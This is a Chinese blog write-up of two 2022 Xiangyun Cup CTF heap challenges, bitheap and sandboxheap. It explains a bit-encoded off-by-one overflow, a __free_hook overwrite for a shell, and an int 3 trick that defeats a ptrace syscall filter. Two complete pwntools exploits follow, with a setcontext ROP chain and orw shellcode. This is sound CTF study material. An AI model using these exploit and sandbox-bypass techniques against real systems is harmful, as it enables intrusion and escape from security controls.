祥云杯2022 sandboxheap和bitheap

我是先写的sandboxheap,开始还以为sandbox文件是多余的,就直接单独拿sandboxheap去写,就在本地打通后,发现远程是有通过sandbox去执行sandboxheap,当时我就没能写出来。

山重水复疑无路,柳暗花明又一村!没想到bitheap漏洞和sandboxheap一模一样,而且没有sandbox,当时就只写出了bitheap。

漏洞分析

这两道题都是一样的漏洞,主要是看懂编辑函数中的溢出和加密:

如下图将堆块写入数据的大小乘8 ,然后加1;最后是通过基于输入的8个字符去对堆中的一个字节进行位运算,每个字符可以操作堆中一个字节的一位;最后会多出一个字节影响下一个堆块的size

如下图sub_C61函数,基于堆块中的字符来位运算,但堆块初始值都是0,最后被写入堆块的也是0 ;如果输入的是\x31字符会让最后被写入堆块的的是1。

堆利用

kali对这道题使用patchelf会报错,这里我是用ubuntu完成的

由于溢出的字节只能更改下一个堆块的size的标志位(判断堆块是否被使用),需要对下一个堆块的prev_size和标志位修改,让其释放后进入unsortedbin,然后与上边的unsortedbin合并。

具体写入

bitheap

利用堆块重叠直接去修改__free_hook为system函数即可。

完整的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import*
elf = ELF('bitheap')
libc = ELF('libc-2.27.so')
#libc = elf.libc
#p = process(['./sandbox','./sandboxheap'])
#p = process('./bitheap')
p = remote('39.106.13.71',42991)
context.log_level = 'debug'

def add(index, size):
p.sendlineafter(b'Your choice:', b'1')
p.sendlineafter(b'Index:', str(index).encode())
p.sendlineafter(b'Size:', str(size).encode())
def edit(index, content):
p.sendlineafter(b'Your choice:', b'2')
p.sendlineafter(b'Index:', str(index).encode())
p.sendafter(b'Content:', content)
def show(index):
p.sendlineafter(b'Your choice:', b'3')
p.sendlineafter(b'Index:', str(index).encode())
def delete(index):
p.sendlineafter(b'Your choice:', b'4')
p.sendlineafter(b'Index:', str(index).encode())

def key(pay):
pay = u64(pay)
result = b''
for j in range(8):
a = pay & 0xff
#print(hex(a))
for i in range(8):
b = 1 << i
if b & a == 0:
result += b'\x00'
else :
result += b'\x31'
pay = pay >> 8
return result

for i in range(1,8):
add(i, 0xb0)
add(0, 0xb8)
for i in range(1,8):
delete(i)
for i in range(1,9):
add(i, 0x80)
for i in range(2,9):
delete(i)

delete(0)
add(0, 0x90)
for i in range(2,9):
add(i, 0x90)
for i in range(2,9):
delete(i)
add(2, 0x18)


delete(0)
payload = b'\x00' * 0x80 + key(p64(0xc0)) + b'\x00'
edit(2, payload)
delete(1)
add(0, 0x70)
add(1, 0x10)

show(2)
leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = leak - 96 - 0x10 - libc.sym['__malloc_hook']
print(hex(libcbase))
free_hook = libcbase + libc.sym['__free_hook']
sys_addr = libcbase + libc.sym['system']
add(3, 0x10)

delete(1)
delete(3)
payload = key(p64(free_hook))
edit(2, payload)
add(1, 0x10)
edit(1, key(b'/bin/sh\x00'))
add(3, 0x10)
edit(3, key(p64(sys_addr)))
delete(1)
p.interactive()

sandboxheap

以前都是写调用prctl函数,禁止系统调用开启的沙盒题,但这题目直接使用沙盒程序来保护其它程序。

利用堆块重叠修改__free_hook到setcontext段上,释放堆块会执行setcontext段上的代码,在此过程中rdi就是被释放堆块堆块的地址,进而劫持rsp。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> disassemble setcontext
0x00007f5b32c80085 <+53>: mov rsp,QWORD PTR [rdi+0xa0]
0x00007f5b32c8008c <+60>: mov rbx,QWORD PTR [rdi+0x80]
0x00007f5b32c80093 <+67>: mov rbp,QWORD PTR [rdi+0x78]
0x00007f5b32c80097 <+71>: mov r12,QWORD PTR [rdi+0x48]
0x00007f5b32c8009b <+75>: mov r13,QWORD PTR [rdi+0x50]
0x00007f5b32c8009f <+79>: mov r14,QWORD PTR [rdi+0x58]
0x00007f5b32c800a3 <+83>: mov r15,QWORD PTR [rdi+0x60]
0x00007f5b32c800a7 <+87>: mov rcx,QWORD PTR [rdi+0xa8]
0x00007f5b32c800ae <+94>: push rcx
0x00007f5b32c800af <+95>: mov rsi,QWORD PTR [rdi+0x70]
0x00007f5b32c800b3 <+99>: mov rdx,QWORD PTR [rdi+0x88]
0x00007f5b32c800ba <+106>: mov rcx,QWORD PTR [rdi+0x98]
0x00007f5b32c800c1 <+113>: mov r8,QWORD PTR [rdi+0x28]
0x00007f5b32c800c5 <+117>: mov r9,QWORD PTR [rdi+0x30]
0x00007f5b32c800c9 <+121>: mov rdi,QWORD PTR [rdi+0x68]
0x00007f5b32c800cd <+125>: xor eax,eax
0x00007f5b32c800cf <+127>: ret

最初复现时我想在堆上执行ROP将flag通过orw读出来,但是沙盒程序好像也禁用open之类的系统调用,最后看网上别的师傅写的wp才知道需要通过int 3这个软中断去绕过。

关于int 3的绕过

关于int 3的绕过我是看ctftime上关于Sandybox的wp,由于我英语不太好只能理解到这里了。

sandbox程序fork一个子进程,通过ptrace函数跟踪子进程。

调用ptrace(PTRACE_SYS, pid, 0, signal)使内核在子进程进入和退出系统调用时都将其暂停。

sandbox程序ida中主要的伪代码(简化):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
do{
if ( ptrace(PTRACE_SYSCALL, v4, 0LL, 0LL) == -1
|| waitpid(v4, 0LL, 0) == -1
|| ptrace(PTRACE_GETREGS, v4, 0LL, v8) == -1 )
{
break;
}


………………
//过滤一些系统调用
………………


}while ( ptrace(PTRACE_SYSCALL, v4, 0LL, 0LL) != -1
&& waitpid(v4, 0LL, 0) != -1
&& (v10 != 10000 && v10 != -1 || ptrace(PTRACE_POKEUSER, v4, 80LL) != -1) );
  1. 循环开头处的 ptrace(PTRACE_SYSCALL, v4, 0LL, 0LL)、waitpid(v4, 0LL, 0)是等待子进程进入系统调用;
  2. 中间的代码就是获取当前的系统调用号(rax),过滤一些系统调用;
  3. 循环结尾处的 ptrace(PTRACE_SYSCALL, v4, 0LL, 0LL)、waitpid(v4, 0LL, 0)是等待子进程离开系统调用。

使用int 3这个软中断后,可以让父进程循环开头处的 ptrace误以为子进程已经进入系统调用,但实际上子进程并未进入系统调用;当子进程真正进入系统调用后,是触发循环结尾处的 ptrace, 事实上ptrace(PTRACE_SYSCALL, v4, 0LL, 0LL)并不能判断子进程是进入系统调用还是离开系统调用,这样就绕过了中间对系统调用的过滤。

使用int 3后:

  1. 循环结尾处的 ptrace(PTRACE_SYSCALL, v4, 0LL, 0LL)、waitpid(v4, 0LL, 0)是等待子进程进入系统调用;
  2. 循环开头处的 ptrace(PTRACE_SYSCALL, v4, 0LL, 0LL)、waitpid(v4, 0LL, 0)是等待子进程离开系统调用。

相当于反转了循环,之后就可以顺利执行接下来的shellcode了。

完整的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
from pwn import*
elf = ELF('sandboxheap')
libc = ELF('libc-2.27.so')
#libc = elf.libc
p = process(['./sandbox','./sandboxheap'])
context.log_level = 'debug'
context.arch = 'amd64'

def add(index, size):
p.sendlineafter(b'Your choice:', b'1')
p.sendlineafter(b'Index:', str(index).encode())
p.sendlineafter(b'Size:', str(size).encode())
def edit(index, content):
p.sendlineafter(b'Your choice:', b'2')
p.sendlineafter(b'Index:', str(index).encode())
p.sendafter(b'Content:', content)
def show(index):
p.sendlineafter(b'Your choice:', b'3')
p.sendlineafter(b'Index:', str(index).encode())
def delete(index):
p.sendlineafter(b'Your choice:', b'4')
p.sendlineafter(b'Index:', str(index).encode())

def key(pay):
l = len(pay)
pay = int.from_bytes(pay, byteorder='little', signed=True)
result = b''
for j in range(l):
a = pay & 0xff
#print(hex(a))
for i in range(8):
b = 1 << i
if b & a == 0:
result += b'\x00'
else :
result += b'\x31'
pay = pay >> 8
return result


for i in range(1,8):
add(i, 0xb0)
add(0, 0xb8)
for i in range(1,8):
delete(i)
for i in range(1,9):
add(i, 0x80)
for i in range(2,9):
delete(i)

delete(0)
add(0, 0x90)
for i in range(2,9):
add(i, 0x90)
for i in range(2,9):
delete(i)
add(2, 0x18)

delete(0)
payload = b'\x00' * 0x80 + key(p64(0xc0)) + b'\x00'
edit(2, payload)
delete(1)
add(0, 0x70)
add(1, 0x10)

show(2)
leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = leak - 96 - 0x10 - libc.sym['__malloc_hook']
#print(hex(libcbase))
free_hook = libcbase + libc.sym['__free_hook']
sys_addr = libcbase + libc.sym['system']
setcontext = libcbase + libc.sym['setcontext']
mprotect = libcbase + libc.sym['mprotect']
syscall_ret = libcbase + 0xd2625
pop_rdi = libcbase + 0x2164f
pop_rsi = libcbase + 0x23a6a
pop_rdx = libcbase + 0x1b96
pop_rax = libcbase + 0x1b500
ret = libcbase + 0x8aa

add(3, 0x10)
delete(1)
delete(3)
show(2)
p.recvuntil(b'Content: ')
heap_addr = u64(p.recv(6).ljust(8, b'\x00')) - 0x820

payload = key(p64(free_hook))
edit(2, payload)
add(1, 0x10)
add(3, 0x10)
add(4, 0x200)
add(5, 0x200)

payload = b'\x00' * 0xa0 + p64(heap_addr + 0x1140 + 0x100) + p64(ret)
payload = payload.ljust(0x100, b'\x00')
payload += p64(pop_rdi) + p64(heap_addr + 0x1000) + p64(pop_rsi) + p64(0x1000) + p64(pop_rdx) + p64(7) + p64(mprotect)
payload += p64(heap_addr + 0x1350)
edit(4, key(payload))

shellcode = 'int 3' + shellcraft.open('flag')
shellcode += shellcraft.read(3, heap_addr, 0x30)
shellcode += shellcraft.write(1, heap_addr, 0x30)
shellcode = asm(shellcode)
edit(5, key(shellcode))

edit(3, key(p64(setcontext + 53)))
p.sendlineafter(b'Your choice:', b'4')
#gdb.attach(p)
#pause()
p.sendlineafter(b'Index:', str(4).encode())

p.interactive()

ctftime上关于Sandybox的wp:https://ctftime.org/writeup/20115

实际上ptrace函数还有其它更多的功能,具体请看:https://www.anquanke.com/post/id/231078


祥云杯2022 sandboxheap和bitheap
https://xtxtn.github.io/2022/11/02/祥云杯-sandboxheap和bitheap/
作者
xtxtn
发布于
2022年11月2日
更新于
2022年11月13日
许可协议